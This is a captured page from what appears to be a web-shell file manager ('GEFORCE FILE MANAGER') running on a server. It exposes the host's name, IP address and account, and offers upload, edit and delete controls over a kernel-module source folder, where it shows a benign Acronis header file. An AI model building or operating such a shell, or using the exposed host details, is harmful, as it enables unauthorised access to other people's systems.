[ SYSTEM ]: Linux srv.persadacompanies.com 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
[ SERVER ]: Apache | PHP: 8.4.19
[ USER ]: persadamedika | IP: 45.64.1.108
GEFORCE FILE MANAGER
/
usr
/
src
/
file_protector-1.1-1578
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 common
SET
[ DEL ]
📁 ftrace_hooks
SET
[ DEL ]
📁 lsm_hooks
SET
[ DEL ]
📁 syscall_hooks
SET
[ DEL ]
📁 transport
SET
[ DEL ]
📄 Kbuild
10,535 B
SET
[ EDIT ]
|
[ DEL ]
📄 Makefile
2,282 B
SET
[ EDIT ]
|
[ DEL ]
📄 compat.c
8,625 B
SET
[ EDIT ]
|
[ DEL ]
📄 compat.h
12,265 B
SET
[ EDIT ]
|
[ DEL ]
📄 debug.h
3,649 B
SET
[ EDIT ]
|
[ DEL ]
📄 dkms.conf
146 B
SET
[ EDIT ]
|
[ DEL ]
📄 file_contexts.c
54,239 B
SET
[ EDIT ]
|
[ DEL ]
📄 file_contexts.h
2,926 B
SET
[ EDIT ]
|
[ DEL ]
📄 file_contexts_priv.h
5,463 B
SET
[ EDIT ]
|
[ DEL ]
📄 file_handle_tools.h
2,590 B
SET
[ EDIT ]
|
[ DEL ]
📄 file_key_tools.h
950 B
SET
[ EDIT ]
|
[ DEL ]
📄 file_path_tools.h
2,140 B
SET
[ EDIT ]
|
[ DEL ]
📄 hashtable_compat.h
2,798 B
SET
[ EDIT ]
|
[ DEL ]
📄 hook_trampoline_common.h
4,395 B
SET
[ EDIT ]
|
[ DEL ]
📄 interval_tree.h
779 B
SET
[ EDIT ]
|
[ DEL ]
📄 memory.c
3,393 B
SET
[ EDIT ]
|
[ DEL ]
📄 memory.h
3,059 B
SET
[ EDIT ]
|
[ DEL ]
📄 module.c
2,739 B
SET
[ EDIT ]
|
[ DEL ]
📄 module_ref.h
421 B
SET
[ EDIT ]
|
[ DEL ]
📄 module_rundown_protection.c
3,731 B
SET
[ EDIT ]
|
[ DEL ]
📄 module_rundown_protection.h
743 B
SET
[ EDIT ]
|
[ DEL ]
📄 path_tools.h
5,980 B
SET
[ EDIT ]
|
[ DEL ]
📄 rundown_protection.c
4,301 B
SET
[ EDIT ]
|
[ DEL ]
📄 rundown_protection.h
2,899 B
SET
[ EDIT ]
|
[ DEL ]
📄 safe_kobject.h
1,315 B
SET
[ EDIT ]
|
[ DEL ]
📄 si_common.h
4,400 B
SET
[ EDIT ]
|
[ DEL ]
📄 si_fp_properties.h
858 B
SET
[ EDIT ]
|
[ DEL ]
📄 si_fp_properties_x.h
18,970 B
SET
[ EDIT ]
|
[ DEL ]
📄 si_fp_value_types.h
515 B
SET
[ EDIT ]
|
[ DEL ]
📄 si_fp_value_types_x.h
1,279 B
SET
[ EDIT ]
|
[ DEL ]
📄 si_size.h
4,364 B
SET
[ EDIT ]
|
[ DEL ]
📄 si_templates.h
3,066 B
SET
[ EDIT ]
|
[ DEL ]
📄 si_writer.h
7,704 B
SET
[ EDIT ]
|
[ DEL ]
📄 si_writer_common.h
14,984 B
SET
[ EDIT ]
|
[ DEL ]
📄 stringify.h
261 B
SET
[ EDIT ]
|
[ DEL ]
📄 task_info_map.c
17,506 B
SET
[ EDIT ]
|
[ DEL ]
📄 task_info_map.h
6,481 B
SET
[ EDIT ]
|
[ DEL ]
📄 task_tools.h
1,370 B
SET
[ EDIT ]
|
[ DEL ]
📄 tracepoints.c
3,668 B
SET
[ EDIT ]
|
[ DEL ]
📄 tracepoints.h
299 B
SET
[ EDIT ]
|
[ DEL ]
📄 write_protection.h
2,257 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: rundown_protection.h
/** @file rundown_protection.h @brief Rundown Protection implementation for Linux kernel @details Copyright (c) 2022 Acronis International GmbH @author Denis Kopyrin (Denis.Kopyrin@acronis.com) @since $Id: $ */ #pragma once #ifdef KERNEL_MOCK #include <mock/mock.h> #endif #include <linux/atomic.h> #include <linux/types.h> // bool, [u]int(8|16|32|64)_t, atomics #include <linux/wait.h> // wait_event*(), wake_up*() typedef void (*rundown_protection_finalizer_t)(void*); typedef struct { atomic64_t ref_cnt; wait_queue_head_t wait_queue; rundown_protection_finalizer_t finalizer; void *finalizer_ctx; } rundown_wait_block_t; typedef struct { atomic64_t data; rundown_wait_block_t wait_block; } simple_rundown_protection_t; // Initializes the rundown protection. // If 'finalizer' is set, it can be called spuriously as rundown protection is lock-free. void simple_rundown_protection_init(simple_rundown_protection_t *srp, rundown_protection_finalizer_t finalizer, void *finalizer_ctx, bool ready); // Thread-safely locks/Unlocks rundown protection, if lock returns 'false', do NOT call unlock and immediately leave the hook bool simple_rundown_protection_lock(simple_rundown_protection_t *srp); void simple_rundown_protection_unlock(simple_rundown_protection_t *srp); // Controls for the rundown protection, NOT thread-safe. Use under the mutex. // Rundowns the rundown protection. May call 'finalizer' spuriously. void simple_rundown_protection_set_rundown_active(simple_rundown_protection_t *srp); // Waits for the rundown protection to have all locks call unlock. void simple_rundown_protection_wait_for_rundown(simple_rundown_protection_t *srp); bool simple_rundown_protection_wait_for_rundown_timeout(simple_rundown_protection_t *srp, unsigned long timeout_jiffies); // Enables the rundown protection allowing lock to return 'true'. void simple_rundown_protection_set_ready(simple_rundown_protection_t *srp); // Fetches the pending lock count from the wait block. If it is equal to 0, all hooks are exited. // Returns reasonable values only after 'set_rundown_active' is called. int64_t simple_rundown_protection_get_pending_count(simple_rundown_protection_t *srp); #define rundown_protection_t simple_rundown_protection_t #define rundown_protection_init simple_rundown_protection_init #define rundown_protection_lock simple_rundown_protection_lock #define rundown_protection_unlock simple_rundown_protection_unlock #define rundown_protection_set_rundown_active simple_rundown_protection_set_rundown_active #define rundown_protection_wait_for_rundown simple_rundown_protection_wait_for_rundown #define rundown_protection_wait_for_rundown_timeout simple_rundown_protection_wait_for_rundown_timeout #define rundown_protection_set_ready simple_rundown_protection_set_ready #define rundown_protection_get_pending_count simple_rundown_protection_get_pending_count